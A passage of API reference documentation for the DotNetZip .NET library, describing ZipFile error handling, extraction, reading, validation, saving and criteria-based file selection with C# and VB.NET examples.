you add applies to all items that are + subsequently added to the ZipFile instance. If you set this + property after you have added items to the ZipFile, but before you + have called Save(), errors that occur while saving those items + will not cause the error handler to be invoked. + + + + If you want to handle any errors that occur with any entry in the zip + file using the same error handler, then add your error handler once, + before adding any entries to the zip archive. + + + + In the error handler method, you need to set the property on the + ZipErrorEventArgs.CurrentEntry. This communicates back to + DotNetZip what you would like to do with this particular error. Within + an error handler, if you set the ZipEntry.ZipErrorAction property + on the ZipEntry to ZipErrorAction.InvokeErrorEvent or if + you don't set it at all, the library will throw the exception. (It is the + same as if you had set the ZipEntry.ZipErrorAction property on the + ZipEntry to ZipErrorAction.Throw.) If you set the + ZipErrorEventArgs.Cancel to true, the entire Save() will be + canceled. + + + + In the case that you use ZipErrorAction.Skip, implying that + you want to skip the entry for which there's been an error, DotNetZip + tries to seek backwards in the output stream, and truncate all bytes + written on behalf of that particular entry. This works only if the + output stream is seekable. It will not work, for example, when using + ASPNET's Response.OutputStream. + + + + + + + This example shows how to use an event handler to handle + errors during save of the zip file. + + + public static void MyZipError(object sender, ZipErrorEventArgs e) + { + Console.WriteLine("Error saving {0}...", e.FileName); + Console.WriteLine(" Exception: {0}", e.exception); + ZipEntry entry = e.CurrentEntry; + string response = null; + // Ask the user whether he wants to skip this error or not + do + { + Console.Write("Retry, Skip, Throw, or Cancel ? (R/S/T/C) "); + response = Console.ReadLine(); + Console.WriteLine(); + + } while (response != null && + response[0]!='S' && response[0]!='s' && + response[0]!='R' && response[0]!='r' && + response[0]!='T' && response[0]!='t' && + response[0]!='C' && response[0]!='c'); + + e.Cancel = (response[0]=='C' || response[0]=='c'); + + if (response[0]=='S' || response[0]=='s') + entry.ZipErrorAction = ZipErrorAction.Skip; + else if (response[0]=='R' || response[0]=='r') + entry.ZipErrorAction = ZipErrorAction.Retry; + else if (response[0]=='T' || response[0]=='t') + entry.ZipErrorAction = ZipErrorAction.Throw; + } + + public void SaveTheFile() + { + string directoryToZip = "fodder"; + string directoryInArchive = "files"; + string zipFileToCreate = "Archive.zip"; + using (var zip = new ZipFile()) + { + // set the event handler before adding any entries + zip.ZipError += MyZipError; + zip.AddDirectory(directoryToZip, directoryInArchive); + zip.Save(zipFileToCreate); + } + } + + + + Private Sub MyZipError(ByVal sender As Object, ByVal e As Ionic.Zip.ZipErrorEventArgs) + ' At this point, the application could prompt the user for an action to take. + ' But in this case, this application will simply automatically skip the file, in case of error. + Console.WriteLine("Zip Error, entry {0}", e.CurrentEntry.FileName) + Console.WriteLine(" Exception: {0}", e.exception) + ' set the desired ZipErrorAction on the CurrentEntry to communicate that to DotNetZip + e.CurrentEntry.ZipErrorAction = Zip.ZipErrorAction.Skip + End Sub + + Public Sub SaveTheFile() + Dim directoryToZip As String = "fodder" + Dim directoryInArchive As String = "files" + Dim zipFileToCreate as String = "Archive.zip" + Using zipArchive As ZipFile = New ZipFile + ' set the event handler before adding any entries + AddHandler zipArchive.ZipError, AddressOf MyZipError + zipArchive.AddDirectory(directoryToZip, directoryInArchive) + zipArchive.Save(zipFileToCreate) + End Using + End Sub + + + + + + + + + Extracts all of the items in the zip archive, to the specified path in the + filesystem. The path can be relative or fully-qualified. + + + + + This method will extract all entries in the ZipFile to the + specified path. + + + + If an extraction of a file from the zip archive would overwrite an + existing file in the filesystem, the action taken is dictated by the + ExtractExistingFile property, which overrides any setting you may have + made on individual ZipEntry instances. By default, if you have not + set that property on the ZipFile instance, the entry will not + be extracted, the existing file will not be overwritten and an + exception will be thrown. To change this, set the property, or use the + overload that allows you to + specify an ExtractExistingFileAction parameter. + + + + The action to take when an extract would overwrite an existing file + applies to all entries. If you want to set this on a per-entry basis, + then you must use one of the ZipEntry.Extract methods. + + + + This method will send verbose output messages to the , if it is set on the ZipFile + instance. + + + + You may wish to take advantage of the ExtractProgress event. + + + + About timestamps: When extracting a file entry from a zip archive, the + extracted file gets the last modified time of the entry as stored in + the archive. The archive may also store extended file timestamp + information, including last accessed and created times. If these are + present in the ZipEntry, then the extracted file will also get + these times. + + + + A Directory entry is somewhat different. It will get the times as + described for a file entry, but, if there are file entries in the zip + archive that, when extracted, appear in the just-created directory, + then when those file entries are extracted, the last modified and last + accessed times of the directory will change, as a side effect. The + result is that after an extraction of a directory and a number of + files within the directory, the last modified and last accessed + timestamps on the directory will reflect the time that the last file + was extracted into the directory, rather than the time stored in the + zip archive for the directory. + + + + To compensate, when extracting an archive with ExtractAll, + DotNetZip will extract all the file and directory entries as described + above, but it will then make a second pass on the directories, and + reset the times on the directories to reflect what is stored in the + zip archive. + + + + This compensation is performed only within the context of an + ExtractAll. If you call ZipEntry.Extract on a directory + entry, the timestamps on directory in the filesystem will reflect the + times stored in the zip. If you then call ZipEntry.Extract on + a file entry, which is extracted into the directory, the timestamps on + the directory will be updated to the current time. + + + + + This example extracts all the entries in a zip archive file, to the + specified target directory. The extraction will overwrite any + existing files silently. + + + String TargetDirectory= "unpack"; + using(ZipFile zip= ZipFile.Read(ZipFileToExtract)) + { + zip.ExtractExistingFile= ExtractExistingFileAction.OverwriteSilently; + zip.ExtractAll(TargetDirectory); + } + + + + Dim TargetDirectory As String = "unpack" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + zip.ExtractExistingFile= ExtractExistingFileAction.OverwriteSilently + zip.ExtractAll(TargetDirectory) + End Using + + + + + + + + The path to which the contents of the zipfile will be extracted. + The path can be relative or fully-qualified. + + + + + + Extracts all of the items in the zip archive, to the specified path in the + filesystem, using the specified behavior when extraction would overwrite an + existing file. + + + + + + This method will extract all entries in the ZipFile to the specified + path. For an extraction that would overwrite an existing file, the behavior + is dictated by , which overrides any + setting you may have made on individual ZipEntry instances. + + + + The action to take when an extract would overwrite an existing file + applies to all entries. If you want to set this on a per-entry basis, + then you must use or one of the similar methods. + + + + Calling this method is equivalent to setting the property and then calling . + + + + This method will send verbose output messages to the + , if it is set on the ZipFile instance. + + + + + This example extracts all the entries in a zip archive file, to the + specified target directory. It does not overwrite any existing files. + + String TargetDirectory= "c:\\unpack"; + using(ZipFile zip= ZipFile.Read(ZipFileToExtract)) + { + zip.ExtractAll(TargetDirectory, ExtractExistingFileAction.DontOverwrite); + } + + + + Dim TargetDirectory As String = "c:\unpack" + Using zip As ZipFile = ZipFile.Read(ZipFileToExtract) + zip.ExtractAll(TargetDirectory, ExtractExistingFileAction.DontOverwrite) + End Using + + + + + The path to which the contents of the zipfile will be extracted. + The path can be relative or fully-qualified. + + + + The action to take if extraction would overwrite an existing file. + + + + + + Reads a zip file archive and returns the instance. + + + + + The stream is read using the default System.Text.Encoding, which is the + IBM437 codepage. + + + + + Thrown if the ZipFile cannot be read. The implementation of this method + relies on System.IO.File.OpenRead, which can throw a variety of exceptions, + including specific exceptions if a file is not found, an unauthorized access + exception, exceptions for poorly formatted filenames, and so on. + + + + The name of the zip archive to open. This can be a fully-qualified or relative + pathname. + + + . + + The instance read from the zip archive. + + + + + Reads a zip file archive from the named filesystem file using the + specified options. + + + + + This version of the Read() method allows the caller to pass + in a TextWriter an Encoding, via an instance of the + ReadOptions class. The ZipFile is read in using the + specified encoding for entries where UTF-8 encoding is not + explicitly specified. + + + + + + + This example shows how to read a zip file using the Big-5 Chinese + code page (950), and extract each entry in the zip file, while + sending status messages out to the Console. + + + + For this code to work as intended, the zipfile must have been + created using the big5 code page (CP950). This is typical, for + example, when using WinRar on a machine with CP950 set as the + default code page. In that case, the names of entries within the + Zip archive will be stored in that code page, and reading the zip + archive must be done using that code page. If the application did + not use the correct code page in ZipFile.Read(), then names of + entries within the zip archive would not be correctly retrieved. + + + + string zipToExtract = "MyArchive.zip"; + string extractDirectory = "extract"; + var options = new ReadOptions + { + StatusMessageWriter = System.Console.Out, + Encoding = System.Text.Encoding.GetEncoding(950) + }; + using (ZipFile zip = ZipFile.Read(zipToExtract, options)) + { + foreach (ZipEntry e in zip) + { + e.Extract(extractDirectory); + } + } + + + + + Dim zipToExtract as String = "MyArchive.zip" + Dim extractDirectory as String = "extract" + Dim options as New ReadOptions + options.Encoding = System.Text.Encoding.GetEncoding(950) + options.StatusMessageWriter = System.Console.Out + Using zip As ZipFile = ZipFile.Read(zipToExtract, options) + Dim e As ZipEntry + For Each e In zip + e.Extract(extractDirectory) + Next + End Using + + + + + + + + This example shows how to read a zip file using the default + code page, to remove entries that have a modified date before a given threshold, + sending status messages out to a StringWriter. + + + + var options = new ReadOptions + { + StatusMessageWriter = new System.IO.StringWriter() + }; + using (ZipFile zip = ZipFile.Read("PackedDocuments.zip", options)) + { + var Threshold = new DateTime(2007,7,4); + // We cannot remove the entry from the list, within the context of + // an enumeration of said list. + // So we add the doomed entry to a list to be removed later. + // pass 1: mark the entries for removal + var MarkedEntries = new System.Collections.Generic.List<ZipEntry>(); + foreach (ZipEntry e in zip) + { + if (e.LastModified < Threshold) + MarkedEntries.Add(e); + } + // pass 2: actually remove the entry. + foreach (ZipEntry zombie in MarkedEntries) + zip.RemoveEntry(zombie); + zip.Comment = "This archive has been updated."; + zip.Save(); + } + // can now use contents of sw, eg store in an audit log + + + + Dim options as New ReadOptions + options.StatusMessageWriter = New System.IO.StringWriter + Using zip As ZipFile = ZipFile.Read("PackedDocuments.zip", options) + Dim Threshold As New DateTime(2007, 7, 4) + ' We cannot remove the entry from the list, within the context of + ' an enumeration of said list. + ' So we add the doomed entry to a list to be removed later. + ' pass 1: mark the entries for removal + Dim MarkedEntries As New System.Collections.Generic.List(Of ZipEntry) + Dim e As ZipEntry + For Each e In zip + If (e.LastModified < Threshold) Then + MarkedEntries.Add(e) + End If + Next + ' pass 2: actually remove the entry. + Dim zombie As ZipEntry + For Each zombie In MarkedEntries + zip.RemoveEntry(zombie) + Next + zip.Comment = "This archive has been updated." + zip.Save + End Using + ' can now use contents of sw, eg store in an audit log + + + + + Thrown if the zipfile cannot be read. The implementation of + this method relies on System.IO.File.OpenRead, which + can throw a variety of exceptions, including specific + exceptions if a file is not found, an unauthorized access + exception, exceptions for poorly formatted filenames, and so + on. + + + + The name of the zip archive to open. + This can be a fully-qualified or relative pathname. + + + + The set of options to use when reading the zip file. + + + The ZipFile instance read from the zip archive. + + + + + + + Reads a zip file archive using the specified text encoding, the specified + TextWriter for status messages, and the specified ReadProgress event handler, + and returns the instance. + + + + The name of the zip archive to open. + This can be a fully-qualified or relative pathname. + + + + An event handler for Read operations. + + + + The System.IO.TextWriter to use for writing verbose status messages + during operations on the zip archive. A console application may wish to + pass System.Console.Out to get messages on the Console. A graphical + or headless application may wish to capture the messages in a different + TextWriter, such as a System.IO.StringWriter. + + + + The System.Text.Encoding to use when reading in the zip archive. Be + careful specifying the encoding. If the value you use here is not the same + as the Encoding used when the zip archive was created (possibly by a + different archiver) you will get unexpected results and possibly exceptions. + + + The instance read from the zip archive. + + + + + Reads a zip archive from a stream. + + + + + + When reading from a file, it's probably easier to just use + ZipFile.Read(String, ReadOptions). This + overload is useful when when the zip archive content is + available from an already-open stream. The stream must be + open and readable and seekable when calling this method. The + stream is left open when the reading is completed. + + + + Using this overload, the stream is read using the default + System.Text.Encoding, which is the IBM437 + codepage. If you want to specify the encoding to use when + reading the zipfile content, see + ZipFile.Read(Stream, ReadOptions). This + + + + Reading of zip content begins at the current position in the + stream. This means if you have a stream that concatenates + regular data and zip data, if you position the open, readable + stream at the start of the zip data, you will be able to read + the zip archive using this constructor, or any of the ZipFile + constructors that accept a as + input. Some examples of where this might be useful: the zip + content is concatenated at the end of a regular EXE file, as + some self-extracting archives do. (Note: SFX files produced + by DotNetZip do not work this way; they can be read as normal + ZIP files). Another example might be a stream being read from + a database, where the zip content is embedded within an + aggregate stream of data. + + + + + + + This example shows how to Read zip content from a stream, and + extract one entry into a different stream. In this example, + the filename "NameOfEntryInArchive.doc", refers only to the + name of the entry within the zip archive. A file by that + name is not created in the filesystem. The I/O is done + strictly with the given streams. + + + + using (ZipFile zip = ZipFile.Read(InputStream)) + { + zip.Extract("NameOfEntryInArchive.doc", OutputStream); + } + + + + Using zip as ZipFile = ZipFile.Read(InputStream) + zip.Extract("NameOfEntryInArchive.doc", OutputStream) + End Using + + + + the stream containing the zip data. + + The ZipFile instance read from the stream + + + + + Reads a zip file archive from the given stream using the + specified options. + + + + + + When reading from a file, it's probably easier to just use + ZipFile.Read(String, ReadOptions). This + overload is useful when when the zip archive content is + available from an already-open stream. The stream must be + open and readable and seekable when calling this method. The + stream is left open when the reading is completed. + + + + Reading of zip content begins at the current position in the + stream. This means if you have a stream that concatenates + regular data and zip data, if you position the open, readable + stream at the start of the zip data, you will be able to read + the zip archive using this constructor, or any of the ZipFile + constructors that accept a as + input. Some examples of where this might be useful: the zip + content is concatenated at the end of a regular EXE file, as + some self-extracting archives do. (Note: SFX files produced + by DotNetZip do not work this way; they can be read as normal + ZIP files). Another example might be a stream being read from + a database, where the zip content is embedded within an + aggregate stream of data. + + + + the stream containing the zip data. + + + The set of options to use when reading the zip file. + + + + Thrown if the zip archive cannot be read. + + + The ZipFile instance read from the stream. + + + + + + + Reads a zip archive from a stream, using the specified text Encoding, the + specified TextWriter for status messages, + and the specified ReadProgress event handler. + + + + + Reading of zip content begins at the current position in the stream. This + means if you have a stream that concatenates regular data and zip data, if + you position the open, readable stream at the start of the zip data, you + will be able to read the zip archive using this constructor, or any of the + ZipFile constructors that accept a as + input. Some examples of where this might be useful: the zip content is + concatenated at the end of a regular EXE file, as some self-extracting + archives do. (Note: SFX files produced by DotNetZip do not work this + way). Another example might be a stream being read from a database, where + the zip content is embedded within an aggregate stream of data. + + + + the stream containing the zip data. + + + The System.IO.TextWriter to which verbose status messages are written + during operations on the ZipFile. For example, in a console + application, System.Console.Out works, and will get a message for each entry + added to the ZipFile. If the TextWriter is null, no verbose messages + are written. + + + + The text encoding to use when reading entries that do not have the UTF-8 + encoding bit set. Be careful specifying the encoding. If the value you use + here is not the same as the Encoding used when the zip archive was created + (possibly by a different archiver) you will get unexpected results and + possibly exceptions. See the + property for more information. + + + + An event handler for Read operations. + + + an instance of ZipFile + + + + Checks the given file to see if it appears to be a valid zip file. + + + + + Calling this method is equivalent to calling with the testExtract parameter set to false. + + + + The file to check. + true if the file appears to be a zip file. + + + + Checks a file to see if it is a valid zip file. + + + + + This method opens the specified zip file, reads in the zip archive, + verifying the ZIP metadata as it reads. + + + + If everything succeeds, then the method returns true. If anything fails - + for example if an incorrect signature or CRC is found, indicating a + corrupt file, the the method returns false. This method also returns + false for a file that does not exist. + + + + If is true, as part of its check, this + method reads in the content for each entry, expands it, and checks CRCs. + This provides an additional check beyond verifying the zip header and + directory data. + + + + If is true, and if any of the zip entries + are protected with a password, this method will return false. If you want + to verify a ZipFile that has entries which are protected with a + password, you will need to do that manually. + + + + + The zip file to check. + true if the caller wants to extract each entry. + true if the file contains a valid zip file. + + + + Checks a stream to see if it contains a valid zip archive. + + + + + This method reads the zip archive contained in the specified stream, verifying + the ZIP metadata as it reads. If testExtract is true, this method also extracts + each entry in the archive, dumping all the bits into . + + + + If everything succeeds, then the method returns true. If anything fails - + for example if an incorrect signature or CRC is found, indicating a corrupt + file, the the method returns false. This method also returns false for a + file that does not exist. + + + + If testExtract is true, this method reads in the content for each + entry, expands it, and checks CRCs. This provides an additional check + beyond verifying the zip header data. + + + + If testExtract is true, and if any of the zip entries are protected + with a password, this method will return false. If you want to verify a + ZipFile that has entries which are protected with a password, you will need + to do that manually. + + + + + + The stream to check. + true if the caller wants to extract each entry. + true if the stream contains a valid zip archive. + + + + Delete file with retry on UnauthorizedAccessException. + + + + + When calling File.Delete() on a file that has been "recently" + created, the call sometimes fails with + UnauthorizedAccessException. This method simply retries the Delete 3 + times with a sleep between tries. + + + + the name of the file to be deleted + + + + Saves the Zip archive to a file, specified by the Name property of the + ZipFile. + + + + + The ZipFile instance is written to storage, typically a zip file + in a filesystem, only when the caller calls Save. In the typical + case, the Save operation writes the zip content to a temporary file, and + then renames the temporary file to the desired name. If necessary, this + method will delete a pre-existing file before the rename. + + + + The property is specified either explicitly, + or implicitly using one of the parameterized ZipFile constructors. For + COM Automation clients, the Name property must be set explicitly, + because COM Automation clients cannot call parameterized constructors. + + + + When using a filesystem file for the Zip output, it is possible to call + Save multiple times on the ZipFile instance. With each + call the zip content is re-written to the same output file. + + + + Data for entries that have been added to the ZipFile instance is + written to the output when the Save method is called. This means + that the input streams for those entries must be available at the time + the application calls Save. If, for example, the application + adds entries with AddEntry using a dynamically-allocated + MemoryStream, the memory stream must not have been disposed + before the call to Save. See the property for more discussion of the + availability requirements of the input stream for an entry, and an + approach for providing just-in-time stream lifecycle management. + + + + + + + + Thrown if you haven't specified a location or stream for saving the zip, + either in the constructor or by setting the Name property, or if you try + to save a regular zip archive to a filename with a .exe extension. + + + + Thrown if or is non-zero, and the number + of segments that would be generated for the spanned zip file during the + save operation exceeds 99. If this happens, you need to increase the + segment size. + + + + + + Save the file to a new zipfile, with the given name. + + + + + This method allows the application to explicitly specify the name of the zip + file when saving. Use this when creating a new zip file, or when + updating a zip archive. + + + + An application can also save a zip archive in several places by calling this + method multiple times in succession, with different filenames. + + + + The ZipFile instance is written to storage, typically a zip file in a + filesystem, only when the caller calls Save. The Save operation writes + the zip content to a temporary file, and then renames the temporary file + to the desired name. If necessary, this method will delete a pre-existing file + before the rename. + + + + + + Thrown if you specify a directory for the filename. + + + + The name of the zip archive to save to. Existing files will + be overwritten with great prejudice. + + + + This example shows how to create and Save a zip file. + + using (ZipFile zip = new ZipFile()) + { + zip.AddDirectory(@"c:\reports\January"); + zip.Save("January.zip"); + } + + + + Using zip As New ZipFile() + zip.AddDirectory("c:\reports\January") + zip.Save("January.zip") + End Using + + + + + + This example shows how to update a zip file. + + using (ZipFile zip = ZipFile.Read("ExistingArchive.zip")) + { + zip.AddFile("NewData.csv"); + zip.Save("UpdatedArchive.zip"); + } + + + + Using zip As ZipFile = ZipFile.Read("ExistingArchive.zip") + zip.AddFile("NewData.csv") + zip.Save("UpdatedArchive.zip") + End Using + + + + + + + Save the zip archive to the specified stream. + + + + + The ZipFile instance is written to storage - typically a zip file + in a filesystem, but using this overload, the storage can be anything + accessible via a writable stream - only when the caller calls Save. + + + + Use this method to save the zip content to a stream directly. A common + scenario is an ASP.NET application that dynamically generates a zip file + and allows the browser to download it. The application can call + Save(Response.OutputStream) to write a zipfile directly to the + output stream, without creating a zip file on the disk on the ASP.NET + server. + + + + Be careful when saving a file to a non-seekable stream, including + Response.OutputStream. When DotNetZip writes to a non-seekable + stream, the zip archive is formatted in such a way that may not be + compatible with all zip tools on all platforms. It's a perfectly legal + and compliant zip file, but some people have reported problems opening + files produced this way using the Mac OS archive utility. + + + + + + + This example saves the zipfile content into a MemoryStream, and + then gets the array of bytes from that MemoryStream. + + + using (var zip = new Ionic.Zip.ZipFile()) + { + zip.CompressionLevel= Ionic.Zlib.CompressionLevel.BestCompression; + zip.Password = "VerySecret."; + zip.Encryption = EncryptionAlgorithm.WinZipAes128; + zip.AddFile(sourceFileName); + MemoryStream output = new MemoryStream(); + zip.Save(output); + + byte[] zipbytes = output.ToArray(); + } + + + + + + This example shows a pitfall you should avoid. DO NOT read + from a stream, then try to save to the same stream. DO + NOT DO THIS: + + + + using (var fs = new FileStream(filename, FileMode.Open)) + { + using (var zip = Ionic.Zip.ZipFile.Read(inputStream)) + { + zip.AddEntry("Name1.txt", "this is the content"); + zip.Save(inputStream); // NO NO NO!! + } + } + + + + Better like this: + + + + using (var zip = Ionic.Zip.ZipFile.Read(filename)) + { + zip.AddEntry("Name1.txt", "this is the content"); + zip.Save(); // YES! + } + + + + + + The System.IO.Stream to write to. It must be + writable. If you created the ZipFile instance by calling + ZipFile.Read(), this stream must not be the same stream + you passed to ZipFile.Read(). + + + + + Adds to the ZipFile a set of files from the current working directory on + disk, that conform to the specified criteria. + + + + + This method selects files from the the current working directory matching + the specified criteria, and adds them to the ZipFile. + + + + Specify the criteria in statements of 3 elements: a noun, an operator, and + a value. Consider the string "name != *.doc" . The noun is "name". The + operator is "!=", implying "Not Equal". The value is "*.doc". That + criterion, in English, says "all files with a name that does not end in + the .doc extension." + + + + Supported nouns include "name" (or "filename") for the filename; "atime", + "mtime", and "ctime" for last access time, last modfied time, and created + time of the file, respectively; "attributes" (or "attrs") for the file + attributes; "size" (or "length") for the file length (uncompressed), and + "type" for the type of object, either a file or a directory. The + "attributes", "name" and "type" nouns both support = and != as operators. + The "size", "atime", "mtime", and "ctime" nouns support = and !=, and + >, >=, <, <= as well. The times are taken to be expressed in + local time. + + + + Specify values for the file attributes as a string with one or more of the + characters H,R,S,A,I,L in any order, implying file attributes of Hidden, + ReadOnly, System, Archive, NotContextIndexed, and ReparsePoint (symbolic + link) respectively. + + + + To specify a time, use YYYY-MM-DD-HH:mm:ss or YYYY/MM/DD-HH:mm:ss as the + format. If you omit the HH:mm:ss portion, it is assumed to be 00:00:00 + (midnight). + + + + The value for a size criterion is expressed in integer quantities of bytes, + kilobytes (use k or kb after the number), megabytes (m or mb), or gigabytes + (g or gb). + + + + The value for a name is a pattern to match against the filename, potentially + including wildcards. The pattern follows CMD.exe glob rules: * implies one + or more of any character, while ? implies one character. If the name + pattern contains any slashes, it is matched to the entire filename, + including the path; otherwise, it is matched against only the filename + without the path. This means a pattern of "*\*.*" matches all files one + directory level deep, while a pattern of "*.*" matches all files in all + directories. + + + + To specify a name pattern that includes spaces, use single quotes around the + pattern. A pattern of "'* *.*'" will match all files that have spaces in + the filename. The full criteria string for that would be "name = '* *.*'" . + + + + The value for a type criterion is either F (implying a file) or D (implying + a directory). + + + + Some examples: + + + + + criteria + Files retrieved + + + + name != *.xls + any file with an extension that is not .xls + + + + + name = *.mp3 + any file with a .mp3 extension. + + + + + *.mp3 + (same as above) any file with a .mp3 extension. + + + + + attributes = A + all files whose attributes include the Archive bit. + + + + + attributes != H + all files whose attributes do not include the Hidden bit. + + + + + mtime > 2009-01-01 + all files with a last modified time after January 1st, 2009. + + + + + size > 2gb + all files whose uncompressed size is greater than 2gb. + + + + + type = D + all directories in the filesystem. + + + + + + You can combine criteria with the conjunctions AND or OR. Using a string + like "name = *.txt AND size >= 100k" for the selectionCriteria retrieves + entries whose names end in .txt, and whose uncompressed size is greater than + or equal to 100 kilobytes. + + + + For more complex combinations of criteria, you can use parenthesis to group + clauses in the boolean logic. Without parenthesis, the precedence of the + criterion atoms is determined by order of appearance. Unlike the C# + language, the AND conjunction does not take precendence over the logical OR. + This is important only in strings that contain 3 or more criterion atoms. + In other words, "name = *.txt and size > 1000 or attributes = H" implies + "((name = *.txt AND size > 1000) OR attributes = H)" while "attributes = + H OR name = *.txt and size > 1000" evaluates to "((attributes = H OR name + = *.txt) AND size > 1000)". When in doubt, use parenthesis. + + + + Using time properties requires some extra care. If you want to retrieve all + entries that were last updated on 2009 February 14, specify a time range + like so:"mtime >= 2009-02-14 AND mtime < 2009-02-15". Read this to + say: all files updated after 12:00am on February 14th, until 12:00am on + February 15th. You can use the same bracketing approach to specify any time + period - a year, a month, a week, and so on. + + + + The syntax allows one special case: if you provide a string with no spaces, it is + treated as a pattern to match for the filename. Therefore a string like "*.xls" + will be equivalent to specifying "name = *.xls". + + + + There is no logic in this method that insures that the file inclusion + criteria are internally consistent. For example, it's possible to specify + criteria that says the file must have a size of less than 100 bytes, as well + as a size that is greater than 1000 bytes. Obviously no file will ever + satisfy such criteria, but this method does not detect such logical + inconsistencies. The caller is responsible for insuring the criteria are + sensible. + + + + Using this method, the file selection does not recurse into + subdirectories, and the full path of the selected files is included in the + entries added into the zip archive. If you don't like these behaviors, + see the other overloads of this method. + + + + + This example zips up all *.csv files in the current working directory. + + using (ZipFile zip = new ZipFile()) + { + // To just match on filename wildcards, + // use the shorthand form of the selectionCriteria string. + zip.AddSelectedFiles("*.csv"); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + zip.AddSelectedFiles("*.csv") + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + + Adds to the ZipFile a set of files from the disk that conform to the + specified criteria, optionally recursing into subdirectories. + + + + + This method selects files from the the current working directory matching + the specified criteria, and adds them to the ZipFile. If + recurseDirectories is true, files are also selected from + subdirectories, and the directory structure in the filesystem is + reproduced in the zip archive, rooted at the current working directory. + + + + Using this method, the full path of the selected files is included in the + entries added into the zip archive. If you don't want this behavior, use + one of the overloads of this method that allows the specification of a + directoryInArchive. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + + This example zips up all *.xml files in the current working directory, or any + subdirectory, that are larger than 1mb. + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", true) + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + If true, the file selection will recurse into subdirectories. + + + + + Adds to the ZipFile a set of files from a specified directory in the + filesystem, that conform to the specified criteria. + + + + + This method selects files that conform to the specified criteria, from the + the specified directory on disk, and adds them to the ZipFile. The search + does not recurse into subdirectores. + + + + Using this method, the full filesystem path of the files on disk is + reproduced on the entries added to the zip file. If you don't want this + behavior, use one of the other overloads of this method. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + + This example zips up all *.xml files larger than 1mb in the directory + given by "d:\rawdata". + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", "d:\\rawdata"); + zip.Save(PathToZipArchive); + } + + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.xml and size > 1024kb", "d:\rawdata) + zip.Save(PathToZipArchive) + End Using + + + + The criteria for file selection + + + The name of the directory on the disk from which to select files. + + + + + Adds to the ZipFile a set of files from the specified directory on disk, + that conform to the specified criteria. + + + + + + This method selects files from the the specified disk directory matching + the specified selection criteria, and adds them to the ZipFile. If + recurseDirectories is true, files are also selected from + subdirectories. + + + + The full directory structure in the filesystem is reproduced on the + entries added to the zip archive. If you don't want this behavior, use + one of the overloads of this method that allows the specification of a + directoryInArchive. + + + + For details on the syntax for the selectionCriteria parameter, see . + + + + + + This example zips up all *.csv files in the "files" directory, or any + subdirectory, that have been saved since 2009 February 14th. + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.csv and mtime > 2009-02-14", "files", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile() + ' Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.csv and mtime > 2009-02-14", "files", true) + zip.Save(PathToZipArchive) + End Using + + + + + This example zips up all files in the current working + directory, and all its child directories, except those in + the excludethis subdirectory. + + Using Zip As ZipFile = New ZipFile(zipfile) + Zip.AddSelectedFfiles("name != 'excludethis\*.*'", datapath, True) + Zip.Save() + End Using + + + + The criteria for file selection + + + The filesystem path from which to select files. + + + + If true, the file selection will recurse into subdirectories. + + + + + Adds to the ZipFile a selection of files from the specified directory on + disk, that conform to the specified criteria, and using a specified root + path for entries added to the zip archive. + + + + + This method selects files from the specified disk directory matching the + specified selection criteria, and adds those files to the ZipFile, using + the specified directory path in the archive. The search does not recurse + into subdirectories. For details on the syntax for the selectionCriteria + parameter, see . + + + + + + + This example zips up all *.psd files in the "photos" directory that have + been saved since 2009 February 14th, and puts them all in a zip file, + using the directory name of "content" in the zip archive itself. When the + zip archive is unzipped, the folder containing the .psd files will be + named "content". + + + using (ZipFile zip = new ZipFile()) + { + // Use a compound expression in the selectionCriteria string. + zip.AddSelectedFiles("name = *.psd and mtime > 2009-02-14", "photos", "content"); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile + zip.AddSelectedFiles("name = *.psd and mtime > 2009-02-14", "photos", "content") + zip.Save(PathToZipArchive) + End Using + + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (nothing in VB) will use the path on the file name, if any; in other + words it would use directoryOnDisk, plus any subdirectory. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + + Adds to the ZipFile a selection of files from the specified directory on + disk, that conform to the specified criteria, optionally recursing through + subdirectories, and using a specified root path for entries added to the + zip archive. + + + + This method selects files from the specified disk directory that match the + specified selection criteria, and adds those files to the ZipFile, using + the specified directory path in the archive. If recurseDirectories + is true, files are also selected from subdirectories, and the directory + structure in the filesystem is reproduced in the zip archive, rooted at + the directory specified by directoryOnDisk. For details on the + syntax for the selectionCriteria parameter, see . + + + + + This example zips up all files that are NOT *.pst files, in the current + working directory and any subdirectories. + + + using (ZipFile zip = new ZipFile()) + { + zip.AddSelectedFiles("name != *.pst", SourceDirectory, "backup", true); + zip.Save(PathToZipArchive); + } + + + Using zip As ZipFile = New ZipFile + zip.AddSelectedFiles("name != *.pst", SourceDirectory, "backup", true) + zip.Save(PathToZipArchive) + End Using + + + + + The criteria for selection of files to add to the ZipFile. + + + + The path to the directory in the filesystem from which to select files. + + + + Specifies a directory path to use to in place of the + directoryOnDisk. This path may, or may not, correspond to a real + directory in the current filesystem. If the files within the zip are + later extracted, this is the path used for the extracted file. Passing + null (nothing in VB) will use the path on the file name, if any; in other + words it would use directoryOnDisk, plus any subdirectory. Passing + the empty string ("") will insert the item at the root path within the + archive. + + + + If true, the method also scans subdirectories for files matching the + criteria. + + + + + Updates the ZipFile with a selection of files from the disk that conform + to the specified criteria. + + + + This method selects files from the specified disk directory that match the + specified selection criteria, and Updates the 